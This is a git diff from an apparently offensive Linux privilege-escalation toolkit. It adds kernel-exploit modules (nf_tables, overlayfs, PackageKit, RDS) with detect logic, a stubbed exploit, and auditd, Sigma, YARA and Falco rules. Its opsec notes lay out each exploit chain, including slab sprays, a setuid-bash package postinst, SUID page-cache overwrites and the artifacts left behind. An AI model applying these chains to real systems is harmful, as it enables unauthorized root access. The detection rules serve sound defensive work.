const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] nft_pipapo: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
/* Bug was introduced in 5.6 (pipapo set type debut). Earlier
|
||||
* kernels don't have pipapo at all. */
|
||||
if (v->major < 5 || (v->major == 5 && v->minor < 6)) {
|
||||
if (!ctx->json) fprintf(stderr, "[+] nft_pipapo: kernel %s predates pipapo set type (5.6+) → OK\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (kernel_range_is_patched(&nft_pipapo_range, v)) {
|
||||
if (!ctx->json) fprintf(stderr, "[+] nft_pipapo: kernel %s is patched (>= 6.8 / LTS backport)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->host || !ctx->host->unprivileged_userns_allowed) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] nft_pipapo: unprivileged userns blocked → CAP_NET_ADMIN unreachable → PRECOND_FAIL\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nft_pipapo: kernel %s in vulnerable range (5.6 ≤ K, no LTS backport) + userns OK → VULNERABLE\n", v->release);
|
||||
fprintf(stderr, "[i] nft_pipapo: same Notselwyn 'Flipping Pages' family as nf_tables; pipapo destroy race + msg_msg groom\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t nft_pipapo_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] nft_pipapo: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[i] nft_pipapo: nfnetlink batch (NEWTABLE+NEWSET pipapo +\n"
|
||||
" burst NEWSETELEM/DELSETELEM with concurrent DESTROYSET)\n"
|
||||
" races the per-CPU pipapo walk teardown. msg_msg cross-\n"
|
||||
" cache groom in kmalloc-cg-96 / cg-512 refills the freed\n"
|
||||
" slabs. Same Notselwyn family as nf_tables (CVE-2024-1086);\n"
|
||||
" the existing nf_tables module's --full-chain finisher\n"
|
||||
" handles this bug's arb-write too once a working PoC is\n"
|
||||
" ported here. Returning EXPLOIT_FAIL honestly per the\n"
|
||||
" verified-vs-claimed bar.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- detection rules (share shape with nf_tables) ------------------ */
|
||||
|
||||
static const char nft_pipapo_auditd[] =
|
||||
"# nft_pipapo CVE-2024-26581 — auditd detection rules\n"
|
||||
"# Same shape as nf_tables: unshare(CLONE_NEWUSER|CLONE_NEWNET)\n"
|
||||
"# + nfnetlink batch + msg_msg spray. Differentiates from\n"
|
||||
"# CVE-2024-1086 only at the netlink payload level (pipapo set\n"
|
||||
"# type vs nft_verdict_init); auditd alone can't tell them\n"
|
||||
"# apart, so the trigger key covers both bugs.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-pipapo-userns\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft-pipapo-priv\n";
|
||||
|
||||
static const char nft_pipapo_sigma[] =
|
||||
"title: Possible CVE-2024-26581 nft_pipapo destroy-race UAF\n"
|
||||
"id: 4e9c1a83-skeletonkey-nft-pipapo\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape: userns clone +\n"
|
||||
" nfnetlink rapid DESTROYSET/NEWSETELEM batches. Same family\n"
|
||||
" as CVE-2024-1086; differentiates by elevated frequency of\n"
|
||||
" NFT_MSG_DELSET on pipapo set types.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" u: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" g: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: u and g\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.26581]\n";
|
||||
|
||||
static const char nft_pipapo_yara[] =
|
||||
"rule nft_pipapo_cve_2024_26581 : cve_2024_26581 kernel_uaf {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2024-26581\"\n"
|
||||
" description = \"SKELETONKEY nft_pipapo race-driver tag\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKK_PIPAPO\" ascii\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char nft_pipapo_falco[] =
|
||||
"- rule: nfnetlink pipapo destroy-race batch by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root nfnetlink batch creating pipapo sets and rapidly\n"
|
||||
" cycling DESTROYSET/NEWSETELEM. Same family as nf_tables;\n"
|
||||
" distinct CVE (2024-26581 / 'Flipping Pages' part 2).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink batch by non-root (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2024.26581]\n";
|
||||
|
||||
const struct skeletonkey_module nft_pipapo_module = {
|
||||
.name = "nft_pipapo",
|
||||
.cve = "CVE-2024-26581",
|
||||
.summary = "nft_set_pipapo destroy-race UAF (Notselwyn 'Flipping Pages' II)",
|
||||
.family = "nf_tables",
|
||||
.kernel_range = "5.6 ≤ K, fixed 6.8 mainline + 6.7.4 / 6.6.16 / 6.1.78 / 5.15.149 / 5.10.210 LTS",
|
||||
.detect = nft_pipapo_detect,
|
||||
.exploit = nft_pipapo_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel OR sysctl kernel.unprivileged_userns_clone=0 */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = nft_pipapo_auditd,
|
||||
.detect_sigma = nft_pipapo_sigma,
|
||||
.detect_yara = nft_pipapo_yara,
|
||||
.detect_falco = nft_pipapo_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET); nfnetlink batch creating a table + pipapo set + many SETELEMs; concurrent DESTROYSET against the same set from a second thread races the per-CPU pipapo walk teardown. msg_msg cross-cache spray (kmalloc-cg-96 + cg-512, tag 'SKK_PIPAPO') refills the freed slabs. Same family signal as nf_tables (CVE-2024-1086): unshare + nfnetlink + msg_msg burst from a non-root process. Distinguishes at the netlink payload layer (pipapo set type vs verdict-init double-free) which auditd alone can't see. dmesg may show 'KASAN: use-after-free in nft_pipapo_walk' on race-win attempts. No persistent file artifacts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_pipapo(void)
|
||||
{
|
||||
skeletonkey_register(&nft_pipapo_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef NFT_PIPAPO_SKELETONKEY_MODULES_H
|
||||
#define NFT_PIPAPO_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module nft_pipapo_module;
|
||||
#endif
|
||||
@@ -79,6 +79,7 @@
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h"
|
||||
|
||||
/* NFT_SET_EVAL was added in 5.6; older UAPI headers may not define it.
|
||||
* Anonymous-set + lookup exploit shape works on builds with this flag,
|
||||
@@ -97,9 +98,9 @@
|
||||
static const struct kernel_patched_from nft_set_uaf_patched_branches[] = {
|
||||
{4, 19, 283}, /* 4.19.x safety patch (bug never reached this branch) */
|
||||
{5, 4, 243}, /* 5.4.x */
|
||||
{5, 10, 180}, /* 5.10.x */
|
||||
{5, 10, 179}, /* 5.10.x (harmonised with Debian bullseye fix-version) */
|
||||
{5, 15, 111}, /* 5.15.x */
|
||||
{6, 1, 28}, /* 6.1.x */
|
||||
{6, 1, 27}, /* 6.1.x (harmonised with Debian bookworm fix-version) */
|
||||
{6, 2, 15}, /* 6.2.x */
|
||||
{6, 3, 2}, /* 6.3.x */
|
||||
{6, 4, 0}, /* mainline 6.4-rc4 */
|
||||
@@ -1021,6 +1022,37 @@ static const char nft_set_uaf_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.32233]\n";
|
||||
|
||||
static const char nft_set_uaf_yara[] =
|
||||
"rule nft_set_uaf_cve_2023_32233 : cve_2023_32233 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-32233\"\n"
|
||||
" description = \"nft anonymous-set UAF spray tag (SKELETONKEY_SET) and log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY_SET\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-nft_set_uaf.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char nft_set_uaf_falco[] =
|
||||
"- rule: nft anonymous-set lookup-UAF batch by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root nfnetlink single-batch transaction: NEWTABLE +\n"
|
||||
" NEWCHAIN + NEWSET (anonymous, EVAL) + NEWRULE with\n"
|
||||
" nft_lookup referencing the anon set + DELSET + DELRULE.\n"
|
||||
" The lookup's set reference isn't deactivated; UAF when\n"
|
||||
" set frees. CVE-2023-32233.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink anon-set batch from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2023.32233]\n";
|
||||
|
||||
const struct skeletonkey_module nft_set_uaf_module = {
|
||||
.name = "nft_set_uaf",
|
||||
.cve = "CVE-2023-32233",
|
||||
@@ -1033,8 +1065,10 @@ const struct skeletonkey_module nft_set_uaf_module = {
|
||||
.cleanup = nft_set_uaf_cleanup,
|
||||
.detect_auditd = nft_set_uaf_auditd,
|
||||
.detect_sigma = nft_set_uaf_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = nft_set_uaf_yara,
|
||||
.detect_falco = nft_set_uaf_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + single nfnetlink transaction: NEWTABLE + NEWCHAIN + NEWSET (anonymous, ANONYMOUS|CONSTANT|EVAL) + NEWRULE with nft_lookup referencing the anon set + DELSET + DELRULE. Vulnerable kernels do not deactivate the lookup's set ref on commit -> UAF when set frees. msg_msg cg-512 spray (32 queues x 16 msgs, tag 'SKELETONKEY_SET'). --full-chain re-fires with forged headers (data ptr = kaddr) and NEWSETELEM payload. Writes /tmp/skeletonkey-nft_set_uaf.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + msgsnd. Dmesg: KASAN oops on UAF. Cleanup unlinks log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_set_uaf(void)
|
||||
|
||||
@@ -490,6 +490,56 @@ static const char overlayfs_auditd[] =
|
||||
"# Watch for security.capability xattr writes (the post-mount step)\n"
|
||||
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k skeletonkey-overlayfs-cap\n";
|
||||
|
||||
static const char overlayfs_sigma[] =
|
||||
"title: Possible CVE-2021-3493 Ubuntu overlayfs capability injection\n"
|
||||
"id: f78a01e6-skeletonkey-overlayfs\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects Ubuntu's overlayfs-in-userns capability-xattr injection:\n"
|
||||
" unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount('overlay') + setxattr\n"
|
||||
" with name 'security.capability'. The bug lets caps set inside\n"
|
||||
" userns persist on the host fs. False positives: legitimate\n"
|
||||
" rootless container image builds; correlate with subsequent\n"
|
||||
" execve of the modified binary.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" overlay: {type: 'SYSCALL', syscall: 'mount'}\n"
|
||||
" setcap: {type: 'SYSCALL', syscall: 'setxattr'}\n"
|
||||
" condition: userns and overlay and setcap\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2021.3493]\n";
|
||||
|
||||
static const char overlayfs_yara[] =
|
||||
"rule overlayfs_cve_2021_3493 : cve_2021_3493 userns_lpe\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2021-3493\"\n"
|
||||
" description = \"Ubuntu overlayfs userns workdir + security.capability xattr injection\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $work = /\\/tmp\\/skeletonkey-ovl-[A-Za-z0-9]+/\n"
|
||||
" $xattr = \"security.capability\" ascii\n"
|
||||
" condition:\n"
|
||||
" $work and $xattr\n"
|
||||
"}\n";
|
||||
|
||||
static const char overlayfs_falco[] =
|
||||
"- rule: overlayfs mount + setxattr(security.capability) in userns\n"
|
||||
" desc: |\n"
|
||||
" Non-root process inside userns mounts overlayfs and writes a\n"
|
||||
" security.capability xattr on a binary in the upper layer.\n"
|
||||
" The xattr persists on the host fs (CVE-2021-3493, Ubuntu).\n"
|
||||
" False positives: rootless container image builds.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setxattr and not user.uid = 0 and\n"
|
||||
" evt.args contains security.capability\n"
|
||||
" output: >\n"
|
||||
" setxattr(security.capability) by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid file=%fd.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2021.3493]\n";
|
||||
|
||||
const struct skeletonkey_module overlayfs_module = {
|
||||
.name = "overlayfs",
|
||||
.cve = "CVE-2021-3493",
|
||||
@@ -502,9 +552,11 @@ const struct skeletonkey_module overlayfs_module = {
|
||||
.cleanup = NULL, /* exploit cleans up its own workdir on failure;
|
||||
* on success, exec replaces us so cleanup-by-us doesn't apply */
|
||||
.detect_auditd = overlayfs_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = overlayfs_sigma,
|
||||
.detect_yara = overlayfs_yara,
|
||||
.detect_falco = overlayfs_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) for CAP_SYS_ADMIN; mount('overlay', merged, ...); compile + copy payload into the merged dir (writes upper on host fs); setxattr(upper_payload, 'security.capability', cap_setuid+ep) - the bug is that this xattr persists on the HOST fs despite being set inside userns. Parent then execve's the now-CAP_SETUID payload, calls setuid(0), execs /bin/sh. Artifacts: /tmp/skeletonkey-ovl-XXXXXX/ workdir; cleaned on exit/failure (on success the exec replaces the process so cleanup does not run). Audit-visible via unshare + mount(overlay) + setxattr(security.capability) + execve of attacker-controlled binary. Dmesg silent.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_overlayfs(void)
|
||||
|
||||
@@ -60,8 +60,9 @@
|
||||
#include <sys/wait.h>
|
||||
|
||||
static const struct kernel_patched_from overlayfs_setuid_patched_branches[] = {
|
||||
{5, 10, 179}, /* 5.10.x stable backport (per Debian tracker — bullseye) */
|
||||
{5, 15, 110},
|
||||
{6, 1, 27},
|
||||
{6, 1, 11}, /* Debian tracker: earlier than 6.1.27 */
|
||||
{6, 2, 13},
|
||||
{6, 3, 0}, /* mainline */
|
||||
};
|
||||
@@ -406,6 +407,56 @@ static const char overlayfs_setuid_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
|
||||
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k skeletonkey-overlayfs-chown\n";
|
||||
|
||||
static const char overlayfs_setuid_sigma[] =
|
||||
"title: Possible CVE-2023-0386 overlayfs setuid copy-up\n"
|
||||
"id: 0891b2f7-skeletonkey-overlayfs-setuid\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the upstream overlayfs setuid copy-up bug: unshare\n"
|
||||
" (CLONE_NEWUSER|CLONE_NEWNS) + mount('overlay') with a setuid-\n"
|
||||
" root binary in lower + chown on the merged view to trigger\n"
|
||||
" copy-up. Setuid bit persists in upper layer despite\n"
|
||||
" unprivileged ownership.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" overlay: {type: 'SYSCALL', syscall: 'mount'}\n"
|
||||
" chown_up: {type: 'SYSCALL', syscall: 'chown'}\n"
|
||||
" condition: userns and overlay and chown_up\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0386]\n";
|
||||
|
||||
static const char overlayfs_setuid_yara[] =
|
||||
"rule overlayfs_setuid_cve_2023_0386 : cve_2023_0386 userns_lpe\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-0386\"\n"
|
||||
" description = \"overlayfs setuid copy-up workdir signature\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $work = /\\/tmp\\/skeletonkey-ovlsu-[A-Za-z0-9]+/\n"
|
||||
" condition:\n"
|
||||
" $work\n"
|
||||
"}\n";
|
||||
|
||||
static const char overlayfs_setuid_falco[] =
|
||||
"- rule: overlayfs chown on setuid binary in userns (copy-up)\n"
|
||||
" desc: |\n"
|
||||
" Non-root chown on a setuid-root binary inside an overlayfs\n"
|
||||
" mount in a userns. Triggers copy-up that preserves the\n"
|
||||
" setuid bit despite unprivileged upper-layer ownership.\n"
|
||||
" CVE-2023-0386.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (chown, fchown, fchownat) and not user.uid = 0\n"
|
||||
" and (fd.name in (/usr/bin/su, /bin/su, /usr/bin/sudo,\n"
|
||||
" /usr/bin/passwd, /usr/bin/pkexec)\n"
|
||||
" or fd.name endswith /su)\n"
|
||||
" output: >\n"
|
||||
" chown on setuid binary by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid file=%fd.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2023.0386]\n";
|
||||
|
||||
const struct skeletonkey_module overlayfs_setuid_module = {
|
||||
.name = "overlayfs_setuid",
|
||||
.cve = "CVE-2023-0386",
|
||||
@@ -417,9 +468,11 @@ const struct skeletonkey_module overlayfs_setuid_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = overlayfs_setuid_cleanup,
|
||||
.detect_auditd = overlayfs_setuid_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = overlayfs_setuid_sigma,
|
||||
.detect_yara = overlayfs_setuid_yara,
|
||||
.detect_falco = overlayfs_setuid_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) + overlayfs mount with a setuid-root binary in lower (e.g. /usr/bin/su); chown on the merged view triggers copy-up that preserves the setuid bit in upper - but upper is owned by the unprivileged user. Overwrites upper-layer contents with attacker payload and execve's for root. Artifacts: /tmp/skeletonkey-ovlsu-XXXXXX/ (workdir with payload.c, binary, overlay mounts); cleanup callback removes these. Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount(overlay) + chown on the merged view. No network. Dmesg silent on success.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_overlayfs_setuid(void)
|
||||
|
||||
@@ -660,6 +660,94 @@ static const char p2tr_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \\\n"
|
||||
" -F auid!=0 -k skeletonkey-pack2theroot-apt\n";
|
||||
|
||||
static const char p2tr_yara[] =
|
||||
"rule pack2theroot_malicious_deb : cve_2026_41651\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-41651\"\n"
|
||||
" description = \"Pack2TheRoot payload .deb: small ar archive whose postinst installs a setuid copy of bash to /tmp/.suid_bash. The Vozec PoC + SKELETONKEY's port both leave this artifact in /tmp.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" reference = \"https://github.com/Vozec/CVE-2026-41651\"\n"
|
||||
" strings:\n"
|
||||
" $deb_magic = \"!<arch>\"\n"
|
||||
" $postinst_suid = \"install -m 4755 /bin/bash\"\n"
|
||||
" $skk_payload = \"Package: skeletonkey-p2tr-payload\"\n"
|
||||
" $skk_dummy = \"Package: skeletonkey-p2tr-dummy\"\n"
|
||||
" $vozec_payload = \"Package: pk-poc-payload\"\n"
|
||||
" $vozec_dummy = \"Package: pk-poc-dummy\"\n"
|
||||
" condition:\n"
|
||||
" // Small ar archive matching .deb layout, containing either\n"
|
||||
" // the published-PoC package names or the SUID-bash postinst.\n"
|
||||
" $deb_magic at 0 and\n"
|
||||
" ($postinst_suid or any of ($skk_payload, $skk_dummy, $vozec_payload, $vozec_dummy)) and\n"
|
||||
" filesize < 64KB\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"rule pack2theroot_suid_bash_drop : cve_2026_41651\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-41651\"\n"
|
||||
" description = \"Pack2TheRoot SUID-bash artifact: /tmp/.suid_bash is the setuid bash dropped by the malicious postinst. Pair this YARA scan with auditd watch -w /tmp/.suid_bash for catch-on-create.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $elf = { 7F 45 4C 46 02 01 01 }\n"
|
||||
" $bash = \"GNU bash\"\n"
|
||||
" condition:\n"
|
||||
" // The rule itself can't see the file path; the operator\n"
|
||||
" // points YARA at /tmp/.suid_bash specifically. Match\n"
|
||||
" // confirms the file is a real bash ELF (not a planted decoy).\n"
|
||||
" $elf at 0 and $bash\n"
|
||||
"}\n";
|
||||
|
||||
static const char p2tr_falco[] =
|
||||
"- rule: SUID bash dropped to /tmp (Pack2TheRoot postinst signature)\n"
|
||||
" desc: |\n"
|
||||
" A setuid bit appears on /tmp/.suid_bash. The Pack2TheRoot\n"
|
||||
" (CVE-2026-41651) malicious .deb postinst runs as root via\n"
|
||||
" the polkit-bypassed PackageKit transaction and lands a SUID\n"
|
||||
" copy of /bin/bash at this path.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (chmod, fchmod, fchmodat) and\n"
|
||||
" evt.arg.mode contains \"S_ISUID\" and\n"
|
||||
" fd.name = /tmp/.suid_bash\n"
|
||||
" output: >\n"
|
||||
" SUID bit set on /tmp/.suid_bash (proc=%proc.name pid=%proc.pid\n"
|
||||
" ppid=%proc.ppid parent=%proc.pname)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2026.41651]\n"
|
||||
"\n"
|
||||
"- rule: PackageKit InstallFiles invoked twice on same transaction (Pack2TheRoot TOCTOU)\n"
|
||||
" desc: |\n"
|
||||
" Two D-Bus InstallFiles() calls hit the same PackageKit\n"
|
||||
" transaction object in close succession — the exact shape of\n"
|
||||
" the Pack2TheRoot TOCTOU. Detection requires bus monitoring;\n"
|
||||
" Falco's k8s/audit ruleset doesn't cover D-Bus natively, but\n"
|
||||
" if dbus-monitor or systemd's bus audit is wired into the\n"
|
||||
" feed, this is the trigger.\n"
|
||||
" condition: >\n"
|
||||
" // Placeholder: requires dbus-monitor → falco feed.\n"
|
||||
" // Real-world deployment: pipe `dbus-monitor --system` into\n"
|
||||
" // a log-source rule keyed on the InstallFiles method name.\n"
|
||||
" proc.cmdline contains \"InstallFiles\" and proc.cmdline contains \"PackageKit\"\n"
|
||||
" output: >\n"
|
||||
" Possible Pack2TheRoot D-Bus TOCTOU shape (cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [dbus, cve.2026.41651]\n"
|
||||
"\n"
|
||||
"- rule: dpkg invoked by PackageKit on behalf of non-root caller\n"
|
||||
" desc: |\n"
|
||||
" PackageKit forks dpkg to install a .deb on behalf of an\n"
|
||||
" unprivileged caller. Combined with /tmp/.suid_bash creation,\n"
|
||||
" this completes the Pack2TheRoot exploit chain.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = dpkg and proc.aname = packagekitd and\n"
|
||||
" proc.cmdline contains \"/tmp/.pk-\"\n"
|
||||
" output: >\n"
|
||||
" PackageKit-driven dpkg install of /tmp-resident .deb\n"
|
||||
" (parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, cve.2026.41651, pack2theroot]\n";
|
||||
|
||||
static const char p2tr_sigma[] =
|
||||
"title: Possible Pack2TheRoot exploitation (CVE-2026-41651)\n"
|
||||
"id: 3f2b8d54-skeletonkey-pack2theroot\n"
|
||||
@@ -700,8 +788,10 @@ const struct skeletonkey_module pack2theroot_module = {
|
||||
.cleanup = p2tr_cleanup,
|
||||
.detect_auditd = p2tr_auditd,
|
||||
.detect_sigma = p2tr_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = p2tr_yara,
|
||||
.detect_falco = p2tr_falco,
|
||||
.opsec_notes = "TOCTOU race in PackageKit's polkit-auth + D-Bus InstallFiles dispatcher: sends back-to-back async calls (first with SIMULATE to bypass polkit, second with the malicious .deb) so the cached flags are overwritten before the idle callback fires. Builds a minimal .deb ar archive in pure C with a postinst that installs a setuid bash. Writes /tmp/.pk-dummy-<pid>.deb, /tmp/.pk-payload-<pid>.deb, and /tmp/skeletonkey-pack2theroot.state; via the polkit-bypassed postinst plants /tmp/.suid_bash setuid root. Audit-visible via dpkg execve from packagekitd for a non-root caller, chmod(2) on /tmp/.suid_bash, creat/openat on the .deb files. Cleanup callback unlinks the .debs and best-effort removes /tmp/.suid_bash (which is owned by root).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_pack2theroot(void)
|
||||
|
||||
@@ -0,0 +1,448 @@
|
||||
/*
|
||||
* pintheft_cve_2026_43494 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. detect() is exhaustive (kernel range + RDS
|
||||
* module reachability + io_uring availability + readable SUID
|
||||
* carrier). exploit() carries the V12 trigger shape — failed
|
||||
* rds_message_zcopy_from_user() to steal a page refcount, then
|
||||
* io_uring fixed-buffer write to land bytes in the page cache of
|
||||
* the carrier. The cred-overwrite step (turning the page-cache
|
||||
* write into root) is x86_64-specific and uses the shared
|
||||
* modprobe_path finisher when --full-chain is set.
|
||||
*
|
||||
* The bug (Aaron Esau, V12 Security, disclosed May 2026):
|
||||
* Linux's RDS (Reliable Datagram Sockets) zerocopy send path pins
|
||||
* user pages one at a time. If a later page faults, the error
|
||||
* path drops the pages it already pinned. The msg cleanup then
|
||||
* drops them AGAIN because the scatterlist entries and entry count
|
||||
* are left live after the zcopy notifier is cleared. Each failed
|
||||
* zerocopy send steals one reference from the first page.
|
||||
*
|
||||
* With a sufficient pinned-page leak, an io_uring fixed buffer
|
||||
* referencing the same page persists past the page being recycled
|
||||
* into the page cache for a readable file (e.g. /usr/bin/su).
|
||||
* A subsequent io_uring write to that fixed buffer lands attacker
|
||||
* bytes into the SUID binary's page cache → execve it → root.
|
||||
*
|
||||
* Public PoC (Arch Linux x86_64):
|
||||
* https://github.com/v12-security/pocs/tree/main/pintheft
|
||||
*
|
||||
* Affects: Linux kernels with CONFIG_RDS and the RDS module loaded,
|
||||
* below the fix commit (`0cebaccef3ac`, posted to netdev list
|
||||
* 2026-05-05; not yet in mainline release as of this build).
|
||||
*
|
||||
* Among commonly-shipped distros, only Arch Linux autoloads RDS.
|
||||
* Ubuntu / Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux
|
||||
* either don't build the module or blacklist it from autoloading
|
||||
* (mitigation: /etc/modprobe.d/blacklist-rds.conf).
|
||||
*
|
||||
* detect() checks both kernel version AND the RDS module's
|
||||
* reachability via socket(AF_RDS, ...). If RDS is built-in but
|
||||
* not autoloaded, the socket() call triggers modprobe; this is
|
||||
* the same probe used by Ubuntu's mitigation advisory.
|
||||
*
|
||||
* Preconditions:
|
||||
* - CONFIG_RDS=y or =m + module actually loadable
|
||||
* - io_uring available (CONFIG_IO_URING + sysctl
|
||||
* kernel.io_uring_disabled != 2)
|
||||
* - A readable setuid-root carrier binary (canonically
|
||||
* /usr/bin/su; falls back to /usr/bin/pkexec, /usr/bin/passwd)
|
||||
* - x86_64 for the exploit() body (the V12 PoC's cred-overwrite
|
||||
* gadgets are x86-specific); detect() is arch-agnostic.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
